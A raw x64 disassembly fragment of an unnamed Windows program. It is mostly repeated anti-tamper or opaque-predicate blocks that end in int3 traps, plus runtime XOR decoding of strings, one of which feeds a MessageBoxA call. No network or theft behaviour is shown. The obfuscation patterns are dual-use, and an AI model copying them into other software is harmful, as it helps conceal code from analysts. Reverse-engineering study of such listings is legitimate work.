cmp rax, rcx
je 0x14002266e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002266e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002268e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea9b0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400ea820]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xf8a10d33
mov dword [rbp + 0xbec], 0x3936da7c
mov dword [rbp + 0xbf0], 0xa49292f5
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
movabs r13, 0x11d01f4a5
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.1400306bc
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x1400226e1
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140010f38
mov rax, qword gs:[0x44]
cmp rax, r12
mov r13d, 0x4a79d2f6
jne 0x1400227df
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400227bf
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400227bf
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400227df
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022889
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022869
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022869
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022889
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
lea rcx, [rbp + 0x9f8]
call fcn.140020cf0
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140011048
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.1400317d8
lea rcx, [rbp + 0x9f8]
call fcn.140031714
lea rcx, [rbp + 0x9f8]
call fcn.140011558
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022990
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022970
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022970
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022990
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022a49
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022a29
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022a29
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022a49
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov dword [rbp - 0x68], 0xf3af93e5
mov word [rbp - 0x64], 0x1a29
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
movabs r13, 0x11d01f4a5
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140030644
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x140022a68
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0xf3af81fc
mov word [rbp - 0x54], 0x1a29
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
mov rsi, r13
mov r13d, 0x4a79d2f6
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140030644
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x140022ab5
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140031a48
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140031420
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140031574
lea rcx, [rbp - 0x68]
call fcn.1400110a0
mov rcx, rax
call fcn.140011048
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140031260
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140031574
lea rdx, [0x14010d240]
lea rcx, [rbp + 0xa78]
call fcn.140031420
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140031574
lea rcx, [rbp + 0xa78]
call fcn.140031714
lea rcx, [rbp + 0xa78]
call fcn.140011558
lea rcx, [rbp + 0xa58]
call fcn.140031714
lea rcx, [rbp + 0xa58]
call fcn.140011558
lea rcx, [rbp + 0xa38]
call fcn.140031714
lea rcx, [rbp + 0xa38]
call fcn.140011558
mov rax, qword gs:[0x44]
cmp rax, r12
movabs rsi, 0xcd279c6c79f9294c
jne 0x140022c6a
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022c4a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022c4a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022c6a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022d14
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022cf4
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022cf4
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022d14
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
lea rcx, [rbp + 0x1208]
call fcn.140031088
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400974b0
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022de7
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022dc7
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022dc7
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022de7
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022e91
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022e71
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022e71
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022e91
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140010ff0
lea rcx, [rbp + 0x10e8]
call fcn.1400317b0
nop
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022f58
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022f38
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022f38
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022f58
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023011
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022ff1
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022ff1
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023011
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
lea rcx, [rbp + 0x11e8]
call fcn.140031088
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140020858
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x1400230dc
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400230bc
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400230bc
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400230dc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov dword [rbp + 0x1e0], 0x9f47d820
mov dword [rbp + 0x1e4], 0xe33762de
mov dword [rbp + 0x1e8], 0x19c69f06
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
movabs rbx, 0x11d01f4a5
mov qword [rsp + 0x20], rbx
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.1400305cc
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14002310f
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140031d64
test al, al
je 0x1400236ca
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x14002320f
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400231ef
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400231ef
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002320f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400eaa60]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x20ed7b07
mov word [rbp + 0x7cc], 0xdf1d
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.1400304e0
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14002323d
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x1400ea930]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400eaab0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400ea7a0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400ea830]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400ea870]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400ea7f0]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400ea8d0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400ea7b0]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0xefa480d7
mov word [rbp + 0xde4], 0x1005
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov ebx, 0x86
movabs rsi, 0x11d01f4a5
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140030554
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x140023325
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rax, qword gs:[0x44]
cmp rax, r12
movabs rsi, 0xcd279c6c79f9294c
jne 0x14002342e
mov rcx, qword gs:[0x21]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x21]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x21]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002340e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002340e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002342e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x1400234e9
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400234c9
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400234c9
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400234e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
cmp edi, 7
je 0x140030253
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x14002359c
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002357c
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002357c
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002359c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea940]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400ea8c0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400ea710]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
movabs rbx, 0x11d01f4a5
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14003046c
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x1400235d9
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.14009a9dc
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x1400236ca
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400236aa
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400236aa
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400236ca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
mov edi, 0x1e0be331
cmp rax, r12
jne 0x140023787
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023767
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023767
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023787
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.1400315d0
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140020e38
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.1400314ac
lea rcx, [rbp + 0xab8]
call fcn.140031714
lea rcx, [rbp + 0xab8]
call fcn.140011558
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x14002387a
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002385a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002385a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002387a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023933
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023913
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023913
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023933
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140031784
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x1400239eb
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400239cb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400239cb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400239eb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023aa4
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023a84
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023a84
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023aa4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.14009ae4c
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023b70
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023b50
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023b50
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023b70
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023c1a
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023bfa
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023bfa
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023c1a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023ccb
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023cab
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023cab
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023ccb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
test rbx, rbx
je 0x14002ff35
cmp qword [rbp + 0x10f8], r14
je 0x14002ff35
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023d8b
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
